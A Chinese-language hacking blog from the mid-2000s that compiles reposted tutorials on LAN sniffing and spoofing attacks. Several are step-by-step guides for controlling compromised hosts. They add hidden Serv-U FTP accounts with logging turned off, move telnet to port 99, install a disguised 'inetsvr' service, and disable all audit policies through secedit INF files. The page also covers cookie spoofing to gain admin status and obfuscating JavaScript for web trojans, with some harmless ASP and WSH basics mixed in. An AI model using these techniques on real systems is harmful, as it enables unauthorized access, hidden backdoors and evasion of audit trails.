2005年04月30日

flashsky 于 2002-6-19 10:48:41 发表在:研发中心

1 ARP欺骗
  在基于IP通信的内部网中,我们可以使用 ARP欺骗的手段,ARP欺骗 攻击的根本原理是因为计算机中维护着一个
ARP高速缓存,并且这个ARP高速缓存是随着计算机不断的发出ARP请求和收到ARP响应而不断的更新的,ARP高速缓存的目的是把机器的IP地址和MAC地址相互映射。你可以使用
arp命令来查看你自己的 ARP高速缓存。假设机器A:IP地址为 10.0.0.1,MAC地址为 20-53-52-43-00-01 ,机器B:IP地址为
10.0.0.2 ,MAC地址为20-53-52-43-00-02,机器C:IP地址为 10.0.0.3 ,MAC地址为20-53-52-43-00-03
。现在机器B向机器A发出一个 ARP Reply(协议没有规定一定要等ARP Request出现才 能发送ARPReply,也没有规定一定要发送过ARP
Request才能接收ARPReply),其中的目的IP地址为10.0.0.1,目的MAC地址为20-53-52-43-00-01
,而源IP地址为10.0.0.3,源MAC地址为20-53-52-43-00-02 ,好了,现在机器A更新了他的
ARP高速缓存,并相信了IP地址为10.0.0.3的机器的MAC地址是20-53-52-43-00-02
。当机器A发出一条FTP命令时—ftp10.0.0.3,数据包被送到了Switch,Switch查看数据包中的目的地址,发现MAC为20-53-52-43-00-02,于是,他把数据包发到了机器B上。你可以同时欺骗他们双方,完成中间人欺骗攻击
。 当然,在实际的操作中你还需要考虑到一些其他的事,比如某些操作系统在会主动的发送ARP请求包来更新相应的ARP入口等。

2.
交换机MAC地址表溢出
 Switch之所以能够由数据包中目的MAC地址判断出他应该把数据包发送到那一个端口上是根据他本身维护的一张地址表。对于动态的地址表,并且地址表的大小是有上限的,可以通过发送大量错误的地址信息而使SWITCH维护的地址表“溢出”,从而使他变成广播模式来达到我们要sniff
机器A与机器C之间的通信的目的。

3.
MAC地址伪造
 伪造MAC地址也是一个常用的办法,不过这要基于你网络内的Switch是动态更新其地址表,这和ARP欺骗有些类似,只不过现在你是想要Switch相信你,而不是要机器A相信你。因为Switch是动态更新其地址表的,你要做的事情就是告诉Switch你是机器C。换成技术上的问题你只不过需要向Switch发送伪造过的数据包,其中源MAC地址对应的是机器C的MAC地址,现在Switch就把机器C和你的端口对应起来了。不过同时你需要DOS掉主机C。

4.
ICMP路由器发现协议欺骗
 
这主要是由ICMP路由器发现协议(IRDP)的缺陷引起的,在Windows95、98、2000及SunOS、Solaris2.6等系统中,都使用了IRDP协议,SunOS系统只在某些特定的情况下使用该协议,而Windows95,Windows95b,
Windows98, Windows98se,
和Windows2000都是默认的使用IRDP协议。IRDP协议的主要内容就是告诉人们谁是路由器,设想一下,一个攻击者利用IRDP宣称自己是路由器的情况会有多么的糟糕!所有相信攻击者的请求的机器把他们所有的数据都发送给攻击者所控制的机器

5.
ICMP重定向攻击
 所谓ICMP重定向,就是指告诉机器向另一个不同的路由发送他的数据包,ICMP重定向通常使用在这样的场合下,假设A与B两台机器分别位于同一个物理网段内的两个逻辑子网内,而A和B都不知道这一点,只有路由器知道,当A发送给B的数据到达路由器的时候,路由器会向A送一个ICMP重定向包,告诉A直接送到B那里就可以了。设想一下,一个攻击者完全可以利用这一点,使得A发送给B的数据经过他。

2004年11月15日









如何利用肉鸡上的Serv-U Ftp服务器
 

之一:添加一个用户


很多肉鸡安装了serv-U服务器,我们可以把它利用起来,下面的方法是可以通过telnet或者nc命令行直接修改serv-U的参数而利用之。


在serv-U的目录下有一个servudaemon.ini,关键是修改servudaemon.ini,第一步,当然是要先把对方的servudaemon.ini下载回来,在本机把它修改好。至于怎么把这个文件取回来不是这里讨论的问题,方法很多。


下面请看一个servdaemon.ini的范例,<>中是我写的说明文字,不是文件中的文字。


[GLOBAL] <定义一些全局参数>
Version=4.0.0.4
RegistrationKey=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAawEEBLH71T7nA+cDAgAIUm9nZXJMZWUSbGls


aW5nanVuQHNpbmEuY29tB0VDTGlQU0UA
ProcessID=1748
[DOMAINS] <在这里定义域名及IP,端口号>
Domain1=0.0.0.0||21|Wizard Generated Domain|1|0
[Domain1] <用户名的定义>
User1=Anonymous|1|0 <第一个用户是anonymous,即匿名用户,允许匿名用户访问>
User2=1|1|0 <第二个用户是1>
User3=2|1|0 <第三个用户是2>
[USER=Anonymous|1] <用户”anonymous”的定义>
HomeDir=d:\wutemp <用户anonymous的根目录>
RelPaths=1 <锁定在根目录,如果不锁定在根目录可以把该行删除>
TimeOut=600
Note1=”Wizard generated account”
Access1=D:\WUTemp|RLP <用户anonymous权限设置在此处,R表示读文件,L表示目录列表,最后一个P必须有>
[USER=2|1] <用户”2″的定义>
Password=cuA40FB53D1C89D1E7153EF826B6B38DC3 <用户密码设定,我不知道怎么破这个密码,如果不设密码可以把该行删除>
HomeDir=D:\temp
RelPaths=1
TimeOut=600
Access1=D:\temp|RLP <用户”2″可以读取d:\temp目录下的文件,所以可以下载文件>
[USER=1|1] <用户”1″的定义>
Password=hv12154DF65AC601DDA5D39C2F7B2E0F4C
HomeDir=d:\temp
RelPaths=1
TimeOut=600
Access1=D:\temp|RWLP <用户”1″对d:\temp有列目录的权利,可以读写该目录下的文件>


权限设定具体说明:
RL 只能读文件,下载文件
RWL 可以写文件,所以可以上载文件
RWML M是可以删除的权限
RWAMEL A是添加权限,E是执行权限
RWLCD C是目录创建权限,D是目录删除权限


OK,所以首先是把对方的servudaemon.ini下载到本地的机器上,根据自己的需要把这个文件修改好,然后再传上去覆盖原文件。


修改的步骤是在[DOMAIN1]中先添加用户名称,如上例中已经有三个用户anonymous、1、2,再添加一个用户3,密码为空,在d:\temp目录下可以读写文件、创建删除目录,不锁定在本目录,同时对C:\有访问权限。


先在[Domain1]下增加一个用户,如下:
user4=3|1|0


然后再增加一个段,说明用户”3″的权限
[user3|1]
HomeDir=d:\temp
TimeOut=600
Access1=D:\temp|RWLCDP
Access2=C:\|RLP


之二:添加一个隐蔽的帐号
在 Serv-U 中建立隐藏用户(本地通过,未经肉鸡测试~~希望大家完善本文)


在如今的 FTP 服务段软件中,Serv-U 以其简单易用性成为广大管理员的首选,当我
们控制一台肉鸡后,如果它采用 Serv-U 管理 FTP ,我们该如何建立一个隐藏的 FTP 账
户来下载他的东东呢?


我们可以采用 Serv-U Assistant 这个软件,可以到作者网页 http://www.katkat.com/
者在华军下载(目前版本为1.01)


这个软件主要用于扩充 Serv-U 的帐号管理, 它采用Serv-U扩展库,实现的原理为”帐
号-映射”,建立一个或多个帐号”映射”,当在 Serv-U 中设置好一个固定帐号(即Serv-U
的帐号)后,”映射帐号”就继承了这个固定帐号的所有权限设置,每个”映射帐号” 有各
自的登录密码。


下载压缩文件 AssServU.zip,解压后得到以下文件:
AssServU.dll ——– 扩充功能库
AssServU.exe ——– 管理主程序
AssServU.ini ——– 配置文件
AssServU.mdb ——– 数据库文件
AssReadme.mht ——- 自述文件


我们的目的是为了隐藏我们 FTP 账号,因此第一步我们要获取肉鸡上的一个 Serv-U
的账户名(仅账户名而已):3389图形界面可以通过 ServUAdmin.exe 获得;命令行下可以
通过 ServUDaemon.ini 获得,当然最好获得权限比较大的用户名(因为我们的隐藏账号的
权限与他的相同)


第二步:在自己的机器上做好配置:首先为了隐藏的需要,我们将assServU.mdb复制
一份为ServU.dat ,将assServU.dll改名为ServU.dll ;
双击 assServU.exe ,在 Settting 选项卡下的 Log options 中去掉 Log system
messages 、 Log error messages 、 Log file dosnloads 、 Log file uploads 前面的勾(这是
为了系统不记录日志);在 Account Datasource 中选 Custom ,在 Connection string 点
Set ,在”连接”选项卡中的”1。选择或输入数据库名称”中将 AssServU.mdb 改为
Servu.dat ,然后点”确定”,在退回 Setting 选项卡后点 Save 。
在 Account 选项卡下添加用户, Username 为你想添加的用户,如:hacker, Password
为你的密码,如:123, Serv-U account 为第一步中你选择的权限较大的用户,如:admin,
然后点 Save 按钮。


好了,配置完成。


第三步:上传我们的 ServU.dat 和 ServU.dll ,修改肉鸡的 ServUDaemon.ini 文件,添加
以下字段:
[EXTERNAL]
ClientCheckDLL1=ServU.dll
然后重起Serv-U 服务


这样你就可以用隐藏账号登陆了,此时登陆账号还是第一步你选择的账号,但密码格式
为”你的用户名=密码”,如果你像第二步那样设置的话,登陆名就为admin,密码为hacker=111


hehe,这样管理员在管理界面什么都看不出来
OK,game over!




2004年10月30日
 
 

1.调用存储过程的一般方法
先假设在sql server中有一存储过程dt_users:
CREATE PROCEDURE [dbo].[dt_users]
AS
select * from users
return
GO
第一种方法是不利用command对象,直接用recordset对象
set rs=server.createobject(“adodb.recordset”)
sql=”exec dt_users”
rs.open sql,conn,1,1 这样就可
第二种方法是利用command对象
set comm=server.createobject(“adodb.command”)
comm.commantype=4
set comm.activeconnection=conn
comm.commandtext=”dbo.dt_users”
set rs=server.createobject(“adodb.recordset”)
rs.open comm,,1,1
2.给存储过程传递参数
如果存储过程中不用参数,而是单一的sql语句,还显示不出调用存储过程的优势!
比如说一bbs的查询,可以按作者和主题查询!则可以建立存储过程如下:
参数keyword为关键字,choose是选择查询的方法。
CREATE PROCEDURE [dbo].[dt_bbs]
@keyword varchar(20)=null,
@choose int=null
as
if @choose=1
select * from bbs where name like @keyword
else
select * from bbs where subject like @keyword
return
go
这样我们调用存储过程时只需将参数传递过去就行了,而省去在asp中来写一段程序
用第一种方法:
set rs=server.createobject(“adodb.recordset”)
sql=”exec dt_bbs ‘”&keyword&”‘,”&choose&”"
rs.open sql,conn,1,1
用第二种方法:
set comm=server.createobject(“adodb.command”)
comm.commantype=4
comm.Parameters.append comm.CreateParameter(“@keyword”,adChar,adParamInput,50,keyword)
comm.Parameters.append comm.CreateParameter(“@keyword”,adInteger,adParamInput,,choose)
set comm.activeconnection=conn
comm.commandtext=”dbo.dt_bbs”
set rs=server.createobject(“adodb.recordset”)
rs.CursorType=3
rs.open comm,,1,1

3.进一步讨论
比较上面我所说的两种在asp种调用存储过程的方法,
第一种方法需要对象少,但recordset对象支持的属性少了很多,比如说:rs.recordcount,rs.pagecount,rs.absolutepage这些属性
都不支持,所以用第一种方法就有局限,比如说要分页显示纪录时,就必须要用到第二种方法。
我们用sql server中的存储过程目的是为了加快速度,但一个存储过程中sql语句有很多时,它的优势特别明显。如果sql语句不是很多,
而我们用第二种方法就必须多创建一个command对象,可能还会减慢速度!所以我们要均衡各方面的利益来使用存储过程。
不过我觉得不过速度怎样,使用存储过程可以使程序更加模块化,便于修改,和调试(可以直接在sql server下调试,而不用在ie下看asp
的结果)。

 
 
_title>czy的cookie欺骗教程
_content>———产生一个COOKIE文件并改变它

   唉,很早就想点关于COOKIE的东东了,主要是网上有不少文章说半天其实也
没有多少实质的东西。
   首先大家明白什么是COOKIE,具体点说如果是98那么它们默认存放在C:\windows\cookies
目录下,如果是2k它们在C:\Documents and Settings\%你的用户名%\Cookies目录下(每个文件都不会超过4KB)
   它们的文件名格式为:你的用户名@产生的COOKIE的网页文件所在的WEB目录[COOKIE改变的次数].txt
   具体的例子:iwam_system@cookie[3].txt
   再来看一看一个最简单的COOKIE文件的内容:
   level
admin
www.locking.8u8.com/cookie/
0
1331699712
29536653
4044081984
29528196
*
  
   最前面的两段为服务器产生的COOKIE内容(level和admin)第三段为产生这个COOKIE文件的网站的域名和WEB目录
这儿就要注意了没有记录产生COOKIE文件的文件名!所以在同一个目录下不同文件产生的COOKIE是同一个文件只是每
产生一次COOKIE的文件名的中括号里的数字就要加1,后面的那些就不管它了我也不懂哈:)
   再来看看如何生成一个COOKIE我以vbs cript为例:

<s cript language=vbs>
document.cookie=”level” & “=” & “user” & “;expires=Monday, 01-Jan-03 12:00:00 GMT”
msgbox document.cookie
</s cript>

  这儿我们特别人注意的是最后一段 “;expires=Monday, 01-Jan-03 12:00:00 GMT”这是用来说明产生的COOKIE文件的
有效时间的,如果没有那么这个COOKIE你将不会在本文开头所说的目录里找到它。这个例子中有效时间是2003年当然你

也就能在本地硬盘上找到它们了。
  另外当用document.cookie来得到COOKIE内容时设置COOKIE有效时间这一段将被忽略(当然这也方便了网站的COOKIE

*作)比如说上面将弹出一个内容为  level=user的对话框

好了现在我们来实战一下:
我的网站叫www.locking.8u8.com在它的COOKIE目录里有两个文件一个是admin1.htm内容就是上面的例子
还有一个文件叫level1.htm内容如下:
<s cript language=vbs>
co=document.cookie
le=mid(co,instr(co,”=”)+1,len(co)-instr(co,”=”)+1)
if le=”user” then
msgbox “you are a user”
else
if le=”admin” then
msgbox “you are a administrator”
else
msgbox “you not login”
end if
end if
</s cript>

当你先浏览admin1.htm后再浏览level1.htm时将弹出一个对话框内容为:”you are a user”,当你没有浏览过
admin1.htm而直接浏览level1.htm将说 “you not login” (注意有的人可能会先浏览admin1.htm后再直接在硬盘
上更改COOKIE的内容当然这样是不行的)

  好了我们的目标就是让我们能在浏览level1时弹个框框说 “you are a administrator” :)
  办法只有两个咯:1)把8u8黑了,然后找到那个level1.htm改了不就可以了不过本篇文章不做讨论哈
                  2)进行COOKIE欺骗,OK LET GO:)

———————————–(我的系统环境一台2kserver+iis5)
第一步:自已做一个文件名叫admin2.htm吧内容如下
<s cript language=vbs>
document.cookie=”level” & “=” & “admin” & “;expires=Monday, 01-Jan-03 12:00:00 GMT”
</s cript>
然后把它放入一个名叫COOKIE的可浏览目录中(COOKIE要位于根目录)

第二步:找到位于C:\WINNT\system32\drivers\etc下的hosts文件在它的后面加上如下一段:

127.0.0.1 www.locking.8u8.com

第三步:仿问www.locking.8u8.com/cookie/admin2.htm(这儿实际是仿问的本机的文件)

第四步:删除hosts中刚才我们添加的内容然后再清掉IE的历史记录

第五步:让我们再次仿问www.locking.8u8.com/cookie/level1.htm

  怎么样我们现在是 administrator了吧(注意仿问网站是一定要在前面加三个w)
 在上一节中我所举的例子是一个存活期很长的COOKIE,对于这种
COOKIE他会生成在我们的本地盘上的,而对于那些关闭浏览器就失效
的COOKIE我们该怎样来进行欺骗伪造呢?
    首先我们应该知道在我第一节的例子中弹那个”you are a administrator”
框框的网页(level1.htm)其实是下载在我的本地然后执行的,也就是说
他对COOKIE的检验读取也是在本地,那如果是在远程服务器上呢?比如
一个ASP程序他又是如何读取我们的COOKIE的呢?
    先来看看基本的东东吧:当我们使用HTTP协议向远程主机发送一个
GET或是POST请求时,那么如果有这个域名的COOKIE存在(不管是在内存中
还是本地盘上的)都将和请求一起发送到服务器去.

下面的就是一个实际的例子:

GET /ring/admin.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive
Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM

看到最后一行了吧:)

    然后我们再来看看服务器是如何进行COOKIE检验的,我举了一个简单的例子:
有两个ASP文件一个叫admin.asp,还有一个叫level.asp

———–admin.asp——————
<%response.write now()%>
<%response.write “<br>”%>
<%response.cookies(“level”)=”user”%>
<%response.write “<html><s cript>document.write(document.cookie);</s cript></html>”%>

———–cut here——————-

———–level.asp——————
<%
if  Request.Cookies(“level”)<>”" then
response.write “<html><s cript>document.write(document.cookie);</s cript></html>”
if request.cookies(“level”)=”user” then
response.write “<html><s cript>alert(‘you are a user’);</s cript></html>”
else
    if request.cookies(“level”)=”admin” then
response.write “<html><s cript>alert(‘you are administrator!’);</s cript></html>”
set fso1=server.createobject(“s cripting.filesystemobject”)
set fil=fso1.opentextfile(“d:\sms\ring\a.txt”,8,true)
fil.writeline “you are admin!”
    end if
end if
else
response.write “<html><s cript>alert(‘you are not login’);</s cript></html>”
end if
%>
———–cut here——————-

  说明:当你请求admin.asp时,将产生一个临时的COOKIE(你关闭浏览器就会失效),然后我们不关闭浏览器而
请求level.asp时它就会用request.cookies来提取你发出的请求里面的cookie,如果你的COOKIE里面的内容是
admin的话那么它将用fso对象在服务器产生一个记录文件(a.txt要注意的是我们在实验时要把目录设为可写)

  好了就介绍这么多吧,我们的目的就是让服务器产生a.txt并写入内容”you are admin”还是进行上一节的
域名欺骗吗?不是让我们写一个winsocket程序吧,Let G)

   下面是我们VB+WINSCOKET控件写的一个简单的例子的源代码:

———————–COOKIE SEND—————————————
  Private Sub Command1_Click()
Winsock1.RemotePort = Text3.Text  ’远程主机打开的端口一般都为80
Winsock1.RemoteHost = Text2.Text  ’远程主机的域名也可以输IP
Winsock1.Connect                  ’打开一个SOCKET连接
Command1.Enabled = False          ’一次只能打开一个连接所以要让SEND按钮失效
End Sub

Private Sub winsock1_Connect()
     Winsock1.SendData Text1.Text ‘打开连接成功的话就发送数据
End Sub

Private Sub Command2_Click()
Winsock1.Close
Command1.Enabled = True           ‘关闭连接,让SEND按钮有效
End Sub

Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)    ’接收数据,可以让我们检查数据是否发送成功
Dim tmpstr As String
Winsock1.GetData tmpstr
Text4.Text = tmpstr
End Sub

———————–CUT HERE——————————————–

   好,再让我们看一看具体的过程吧:这儿要用到一个不错的程序WinSock Expert v0.3 beta 1

一步:打开一个IE然后再打开winsock expert选择监视刚才打开的IE窗口的数据包
二步: 在IE地址栏输http://61.139.xx.xx/ring/admin.asp,那个我将看到发出了如下数据

GET /ring/admin.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive

     不要半闭窗口请http://61.139.xx.xx/ring/level.asp,我们又将看到发出了如下数据

GET /ring/level.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive
Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM

三步: 好了对第二次发出的数据的最后一行Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM
就是我们要改的东东,由于level.asp中相应的COOKIE的检验语句为if request.cookies(“level”)=”admin” then
所以我们只要把上面的数据的最后一行改成Cookie: level=admin; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM
就可以了,后面的东东很重要下面我再说明一下:)

四步: 把改过的数据拷到我编的程序的发送框里面输入端口和域名后。。。。。

五步:到服务器看看是不是生成了那个a.txt里面的内容为”you are admin!

好了不写了,主要还是自已多实验就可以了为了放便大家本文章的程序代码完全公开哈

1.admin.asp和level.asp:     http://locking.8u8.com/cookie/admin.txt和level.txt
2.cookieclient.exe及源代码: http://locking.8u8.com/cookie/cookiesend.zip
3.winsock expert: http://software.tom.com/download.asp?id=7500 或是 http://dxqsoft.myrice.com/

 
 

by:syscon   from:http://bbs.netxeyes.org

本文对inf文件基础知识,将不进行介绍。
关于inf文件的详细结构信息,可参考DDK帮助文档。

一、修改telnet服务,端口改为99,NTLM认证方式为1。
===============================

C:\myinf\Telnet.inf

[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall]
AddReg=AddRegName
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0×00010001,99
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0×00010001,1

安装:rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\myinf\telnet.inf

说明:[Version]和[DefaultInstall]是必须的,0×00010001表示REG_DWORD数据类型,0×00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0×00020000表示REG_EXPAND_SZ。
InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。128表示给定路径,该参数其他取值及含义参见MSDN。
特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
inf文件中的项目都是大小写不敏感的。

二、服务
===============

增加一个服务

[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0×10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe

保存为inetsvr.inf,然后:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf

这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。

几点说明:
1,最后四项分别是
服务类型:0×10为独立进程服务,0×20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。

删除一个服务

[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall.Services]
DelService=inetsvr

很简单,不是吗?

当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务注册表项,你会发现其执行路径是这样的:
“ImagePath”=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题——不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务注册表项添加一个Security子键,使它看起来更像系统自带的服务

另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务注册表项。

三、组策略
==========

1、密码最小6位
[version]
signature=”$CHICAGO$”
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1

保存为gp.inf,然后导入:
secedit /configure /db gp.sdb /cfg gp.inf /quiet

2、关闭所有的”审核策略

echo [version] >1.inf
echo signature=”$CHICAGO$” >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*

四、解决XP ipc$连接只有Guest权限
====================

echo [version] >1.inf
echo signature=”$CHICAGO$” >>1.inf
echo [Registry Values] >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*

 文章作者:icyfoxlovelace/冰狐浪子[EST]
信息来源:《黑客防线》

本文一共介绍了七种方法:
一:最简单的加密解密
二:转义字符”\”的妙用
三:使用Microsoft出品的脚本编码器Script Encoder来进行编码     (自创简单解码)
四:任意添加NUL空字符(十六进制00H)     (自创)
五:无用内容混乱以及换行空格TAB大法
六:自写解密函数法
七:错误的利用                   (自创)

  在做网页时(其实是网页木马呵呵),最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的JAVASCRIPT代码常常被别人轻易的拷贝,实在让自己的心里有点不是滋味,要知道自己写点东西也挺累的……^*^

  但我们也应该清楚地认识到因为JAVASCRIPT代码是在IE中解释执行,要想绝对的保密是不可能的,我们要做的就是尽可能的增大拷贝者复制的难度,让他知难而退(但愿~!~),下面我结合自己这几年来的实践,及个人研究心得,和大家一起来探讨一下网页中JAVASCRIPT代码的加密解密技术

  以加密下面的JAVASCRIPT代码为例:

  一:最简单的加密解密

  大家对于JAVASCRIPT函数escape()和unescape()想必是比较了解啦(很多网页加密在用它们),分别是编码和解码字符串,比如例子代码用escape()函数加密后变为如下格式:

    alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B

如何?还看的懂吗?当然其中的ASCII字符”alert”并没有被加密,如果愿意我们可以写点JAVASCRIPT代码重新把它加密如下:

    %61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B

呵呵!如何?这次是完全都加密了!

当然,这样加密后的代码是不能直接运行的,幸好还有eval(codeString)可用,这个函数的作用就是检查JavaScript代码并执行,必选项 codeString 参数是包含有效 JavaScript 代码的字符串值,加上上面的解码unescape(),加密后的结果如下:

是不是很简单?不要高兴,解密也就同样的简单,解密代码都摆给别人啦(unescape())!呵呵

  二:转义字符”\”的妙用

  大家可能对转义字符”\”不太熟悉,但对于JavaScript提供了一些特殊字符如:\n (换行)、 \r (回车)、\’ (单引号 )等应该是有所了解的吧?其实”\”后面还可以跟八进制或十六进制的数字,如字符”a”则可以表示为:”\141″或”\x61″(注意是小写字符”x”),至于双字节字符如汉字”黑”则仅能用十六进制表示为”\u9ED1″(注意是小写字符”u”),其中字符”u”表示是双字节字符,根据这个原理例子代码则可以表示为:

八进制转义字符串如下:

十六进制转义字符串如下:

  这次没有了解码函数,因为JavaScript执行时会自行转换,同样解码也是很简单如下:

就会弹出对话框告诉你解密后的结果!

  三:使用Microsoft出品的脚本编码器Script Encoder来进行编码

  工具的使用就不多介绍啦!我是直接使用JavaScript调用控件Scripting.Encoder完成的编码!代码如下:

编码后的结果如下:

够难看懂得吧?但相应的解密工具早已出来,而且连解密网页都有!因为其解密网页代码过多,我就不多说拉!给大家介绍一下我独创的解密代码,如下:

咋样?够简单吧?它是原理是:编码后的代码运行前IE会先对其进行解码,如果我们先把加密的代码放入一个自定义函数如上面的decode()中,然后对自定义函数decode调用toString()方法,得到的将是解码后的代码

如果你觉得这样编码得到的代码LANGUAGE属性是JScript.Encode,很容易让人识破,那么还有一个几乎不为人知的window对象的方法execScript(),其原形为:

window.execScript( sExpression, sLanguage )

参数:
sExpression: 必选项。字符串(String)。要被执行的代码
sLanguage : 必选项。字符串(String)。指定执行的代码的语言。默认值为 Microsoft JScript

使用时,前面的"window"可以省略不写!

利用它我们可以很好的运行编码后的JavaScript代码,如下:

你可以利用方法二对其中的""号内的字符串再进行编码,使得"JScript.Encode"以及编码特征码"#@~^"不出现,效果会更好!

  四:任意添加NUL空字符(十六进制00H)

  一次偶然的实验,使我发现在HTML网页中任意位置添加任意个数的"空字符",IE照样会正常显示其中的内容,并正常执行其中的JavaScript 代码,而添加的"空字符"我们在用一般的编辑器查看时,会显示形如空格或黑块,使得原码很难看懂,如用记事本查看则"空字符"会变成"空格",利用这个原理加密结果如下:(其中显示的"空格"代表"空字符")

  a     l er   t   (" 黑   客 防 线")     ;  
     
<   /     SC   R   I   P   T>
  
如何?是不是显得乱七八糟的?如果不知道方法的人很难想到要去掉里面的"空字符"(00H)的!

  五:无用内容混乱以及换行空格TAB大法

  在JAVASCRIPT代码中我们可以加入大量的无用字符串或数字,以及无用代码和注释内容等等,使真正的有用代码埋没在其中,并把有用的代码中能加入换行、空格、TAB的地方加入大量换行、空格、TAB,并可以把正常的字符串用"\"来进行换行,这样就会使得代码难以看懂!如我加密后的形式如下:

至少如果我看到这样的代码是不会有心思去分析它的,你哪?

  六:自写解密函数法

  这个方法和一、二差不多,只不过是自己写个函数对代码进行解密,很多VBS病毒使用这种方法对自身进行加密,来防止特征码扫描!下面是我写的一个简单的加密解密函数,

加密代码如下(详细参照文件"加密.htm"):

运行得到加密结果为:o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd

相应的加密后解密的代码如下:

  七:错误的利用

  利用try{}catch(e){}结构对代码进行测试解密,虽然这个想法很好(呵呵,夸夸自己),因为实用性不大,我仅给个例子

  总结,基本上JAVASCRIPT的加密也就这些啦,每种加密都有相应的解密方法,但我想如果你熟练运用上面介绍的方法,并把他们结合起来使用,相信可以解密你的JAVASCRIPT代码的人是几乎没有啦,即使有人可以解密,但因为他本身比较精通JAVASCRIPT脚本,自己完全可以写,也就没有必要盗用你的代码,所以你是安全的!呵呵^*^

2004年10月23日

信息来源:岁月联盟

首先,windows脚本语言也是一种编程语言,也有自己专门的命令词汇、规范、用法。要只按照自己的要求把命令写进去,那么windows就会直接执行。只不过想对于java c++之类的编程语言它就要简单的多了
windos脚本也有不同的语言 如:VBScritp、JScript 它们都内嵌在windows中,不需要安装,可以直接使用 还有现在比较流行的Python 比较强大的Perl等
windows脚本的最大好处就是用记事本就可以编写,而且可以立即看到效果,还有就是因为其本身就是源代码,拿到就可以随意修改,对于学习来说也更方便
windows脚本宿主,称呼为WSH。它是一个windows管理工具,能给.VBS、.JC等脚本提供一个特殊的外部运行环境。也就是说,当我们运行VBS文件的时候 WHS会为之创建一个对象,平按脚本内的语言指令执行操作。

所有的编程软件的第一步都是教给新手们怎么写“Hello World!” 当然我们也不能脱俗了
WScript.Echo “Hello World!” WScript.Echo就是显示,也就是说让电脑为我们显示Hello World!当然了把要显示的句子包括在英文的引号中,要不电脑就会分不清哪些是你要显示的
现在我们提升以下刚刚的显示
如:
Dim xyzcsm ‘定义变量
xyzcsm = inputBox(“请输入你的名字:”) ‘获取用户名字
